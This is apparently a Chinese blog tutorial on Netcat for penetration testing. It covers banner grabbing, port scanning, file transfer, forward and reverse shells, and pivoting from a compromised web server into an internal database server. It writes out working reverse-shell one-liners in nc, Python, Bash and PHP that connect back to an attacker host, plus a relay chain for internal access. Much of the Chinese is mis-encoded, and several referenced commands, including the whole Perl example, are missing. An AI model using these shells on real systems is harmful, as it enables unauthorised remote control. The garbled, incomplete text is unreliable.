Netcat工具的玩法
前言
之所以叫Netcat,是因?yàn)樗窃诰W(wǎng)絡(luò)上的cat,cat的功能是讀取一個(gè)文件的內(nèi)容并輸出到屏幕前,netcat也是如此,從網(wǎng)絡(luò)的一端讀取數(shù)據(jù),輸出到網(wǎng)絡(luò)的另一端(可以使用TCP和UDP協(xié)議)
文章目錄
- 一、安裝
- 二、命令查詢(xún)
- 三、Banner 抓取
- 四、連接遠(yuǎn)程主機(jī)
- 五、端口掃描
- 六、端口監(jiān)聽(tīng)
- 七、文件傳輸
- 八、簡(jiǎn)易聊天
- 九、獲取 Shell
- 十、在目標(biāo)主機(jī)中沒(méi)有nc時(shí)獲取反向Shell
- 十一、內(nèi)網(wǎng)代理
一、安裝
在Kali Linux中,可以使用"nc-help"或者"man nc"命令查看是否已經(jīng)安裝了nc,如果沒(méi)有安裝,則執(zhí)行如下命令進(jìn)行安裝
sudo yum install nc.x86_64也可以先使用wget命令下載安裝包,再進(jìn)行安裝,具體如下
下載地址見(jiàn) http://sourceforge.net/projects/netcat/files/netcat/0.7.1/netcat-0.7.1.tar.gz/download
編譯完成,就會(huì)生成 nc 可以執(zhí)行的文件了,該文件位于 src 目錄下,執(zhí)行"cd"命令,運(yùn)行/neteat 文件,就可以找到nc了;
在Windows 中需要使用 Windows 版本的 nc,在禁用-e遠(yuǎn)程執(zhí)行選項(xiàng)的情況下編譯的版本,列舉如下
nc:見(jiàn)https://joncraton.org/files/nc111nt.zip
二、命令查詢(xún)
nc的功能很多,可以輸人"nc -h"命令進(jìn)行查詢(xún)
-d:后臺(tái)模式 -e:程序重定向 -g<網(wǎng)關(guān)>:設(shè)置路由器躍程通信網(wǎng)關(guān),最多可設(shè)置8個(gè) -G<指向器數(shù)目>:設(shè)置源路由指向器的數(shù)量,值為4的倍數(shù) -h:在線幫助 -i<延遲秒數(shù)>:設(shè)置時(shí)間間隔,以便傳送信息及掃描通信端口 -l:使用監(jiān)聽(tīng)模式,管理和控制傳人的數(shù)據(jù) -n:直接使用IP地址(不通過(guò)域名服務(wù)器) -o<輸出文件>:指定文件名稱(chēng),把往來(lái)傳輸?shù)臄?shù)據(jù)轉(zhuǎn)換為十六進(jìn)制字節(jié)碼后保存在該文件中 -p<通信端口>:設(shè)置本地主機(jī)使用的通信端口 -r:隨機(jī)指定本地與遠(yuǎn)程主機(jī)的通信端口 -s<源地址>;設(shè)置本地主機(jī)送出數(shù)據(jù)包的IP地址 -u:使用 UDP 傳輸協(xié)議 -v:詳細(xì)輸出 -w<超時(shí)秒數(shù)>:設(shè)置等待連線的時(shí)間 -z:將輸人/輸出功能關(guān)閉,只在掃描通信端口時(shí)使用三、Banner 抓取
服務(wù)的Banner 信息能夠?yàn)橄到y(tǒng)管理員提供當(dāng)前網(wǎng)絡(luò)中的系統(tǒng)信息和所運(yùn)行服務(wù)的情況,服務(wù)的Banner 信息不僅包含正在運(yùn)行的服務(wù)類(lèi)型,還包含服務(wù)的版本信息,Banner抓取是一種在開(kāi)放端口上檢索關(guān)于特定服務(wù)信息的技術(shù),在滲透測(cè)試中用于漏洞的評(píng)估。
執(zhí)行如下命令
從抓取的Banner信息中可以得知,目前目標(biāo)主機(jī)的21端口上運(yùn)行了vsFTPd服務(wù),版本號(hào)為2.3.4
rooteKali-Linux:- nc -nv 192.168.123.103 21 Ncat:Version 7.70(https://nmap.org/ncat) Ncat: Connected to 192.168.123.103:21. 220(vsFTPd2.3.4)四、連接遠(yuǎn)程主機(jī)
執(zhí)行如下命令,連接遠(yuǎn)程主機(jī)
nc -nvv 192.168.53.128 445五、端口掃描
執(zhí)行如下命令,掃描指定主機(jī)的端口
nc -v 192.168.53.128 445
執(zhí)行如下命令,掃描指定主機(jī)的某個(gè)端口段(掃描速度很慢)
六、端口監(jiān)聽(tīng)
執(zhí)行如下命令,監(jiān)聽(tīng)本地端口,當(dāng)訪問(wèn)該端口時(shí)會(huì)輸出該信息到命令行
nc -l -p 9999七、文件傳輸
在A主機(jī)中輸入如下命令,開(kāi)始監(jiān)聽(tīng),等待連接,一旦連接建立,數(shù)據(jù)便會(huì)流入
nc -lp 333 > 1.txt在B主機(jī)中輸入如下命令,與A主機(jī)的333端口建立連接,并傳輸一個(gè)名為test.txt的文本文件
nc -vn 192.168.1.4 333 < test.txt -q l傳輸完成,在在A主機(jī)中打開(kāi)1.txt文件,就可以看到test.txt的數(shù)據(jù)已經(jīng)傳送過(guò)來(lái)了
八、簡(jiǎn)易聊天
在A主機(jī)中輸入如下命令,開(kāi)始監(jiān)聽(tīng)
nc -l - p 888在主機(jī)B中輸入如下命令,就可以開(kāi)始聊天了
nc -vn <A的IP地址> 888九、獲取 Shell
Shell 分為兩種,一種是正向 Shell,另一種是反向 Shell,如果客戶(hù)端連接服務(wù)器,客戶(hù)端想要獲取服務(wù)器的Shell,就稱(chēng)為正向Shell;如果客戶(hù)端連接服務(wù)器,服務(wù)器想要獲取客戶(hù)端的Shell,就稱(chēng)為反向 Shell。
反向Shell 通常用在開(kāi)啟了防護(hù)措施的目標(biāo)機(jī)器上,例如防火墻過(guò)濾、端口轉(zhuǎn)發(fā)等
注:如下的A主機(jī)為客戶(hù)端,B主機(jī)為服務(wù)端
(1)正向 Shell
在B主機(jī)輸入如下命令,監(jiān)聽(tīng)B主機(jī)的 4444 端口
在A主機(jī)上輸人如下命令,A主機(jī)上連接B主機(jī)的 4444 端口
nc <B主機(jī)IP> 4444(2)反向 Shell
A主機(jī)執(zhí)行如下命令,在A主機(jī)上監(jiān)聽(tīng)本地 9999 端口
在B主機(jī)中執(zhí)行如下命令,連接A主機(jī)的9999端口
nc <A主機(jī)IP> 9999 -e /bin/sh //Linux ne <A主機(jī)IP> 9999 -e c:\windows\system32\cmd.exe //Windows然后就可以在A主機(jī)上看到連接了
十、在目標(biāo)主機(jī)中沒(méi)有nc時(shí)獲取反向Shell
在一般情況下,目標(biāo)主機(jī)中是沒(méi)有nc的,此時(shí),可以使用其他工具和編程語(yǔ)言來(lái)代替nc,實(shí)現(xiàn)反向連接,下面介紹幾種常見(jiàn)的反向 Shell
(1)Python 反向 Shell
A主機(jī)執(zhí)行如下命令,監(jiān)聽(tīng)本地 2222 端口
在目標(biāo)主機(jī)(B)上執(zhí)行如下命令
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.1.4",2222));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'在目標(biāo)主機(jī)(B)上執(zhí)行反彈命令
(2)Bash 反向 Shell
在A主機(jī)執(zhí)行如下命令,監(jiān)聽(tīng)本地 4444 端口
在目標(biāo)主機(jī)(B)上執(zhí)行如下命令
bash -i >& /dev/tcp/<A主機(jī)IP>/4444 0>&1執(zhí)行反彈命令
(3)PHP 反向Shell
在A主機(jī)執(zhí)行如下命令,監(jiān)聽(tīng)本地 2222 端口
PHP常用在Web 服務(wù)器上,它是nc、Perl和Bash的一個(gè)很好的替代品,執(zhí)行如下命令,實(shí)現(xiàn)PHP環(huán)境下的反彈Shell
php -r '$sock=fsockopen("<A主機(jī)IP>",2222);exec("/bin/sh -i <&3 >&3 2>&3");'建立連接
(4)Perl 反向 Shell
在A主機(jī)執(zhí)行如下命令,監(jiān)聽(tīng)本地 2222 端口
如果此時(shí)目標(biāo)主機(jī)使用的是Perl 語(yǔ)言,可以使用Perl 來(lái)建立反向 Shell
在目標(biāo)主機(jī)(B)上運(yùn)行如下命令,會(huì)發(fā)現(xiàn)主機(jī)A已經(jīng)與目標(biāo)主機(jī)(B)建立了連接
十一、內(nèi)網(wǎng)代理
如圖所示,測(cè)試環(huán)境為:攻擊者 VPS(Kali Linux):一個(gè)小型內(nèi)網(wǎng);三臺(tái)服務(wù)器。假設(shè)已經(jīng)獲取了Web 服務(wù)器的權(quán)限,通過(guò) Kali Linux機(jī)器不能訪問(wèn)數(shù)據(jù)庫(kù)服務(wù)器(Linux),但通過(guò) Web 服務(wù)器可以訪問(wèn)數(shù)據(jù)庫(kù)服務(wù)器(Linux),測(cè)試目標(biāo)為:獲取數(shù)據(jù)庫(kù)服務(wù)器(Linux)的Shell
首先,在 VPS 中輸人執(zhí)行如下命令,監(jiān)聽(tīng) 3333 端口
nc -lvp 3333接著,在數(shù)據(jù)庫(kù)服務(wù)器(Linux)上執(zhí)行如下命令
nc -lvp 3333 -e /bin/sh最后,在Web服務(wù)器(邊界服務(wù)器)上執(zhí)行如下命令
nc -v 192.168.1.4 3333 -c "nc -v 1.1.1.200 3333"在輸人的時(shí)候一定要注意,引號(hào)都是英文格式的;
回到 VPS 主機(jī)中,與數(shù)據(jù)庫(kù)服務(wù)器建立了連接!!
總結(jié)
以上是生活随笔為你收集整理的Netcat工具的玩法的全部?jī)?nèi)容,希望文章能夠幫你解決所遇到的問(wèn)題。
- 上一篇: 2015年 行人检测总结4
- 下一篇: 使用Python3和BeautifulS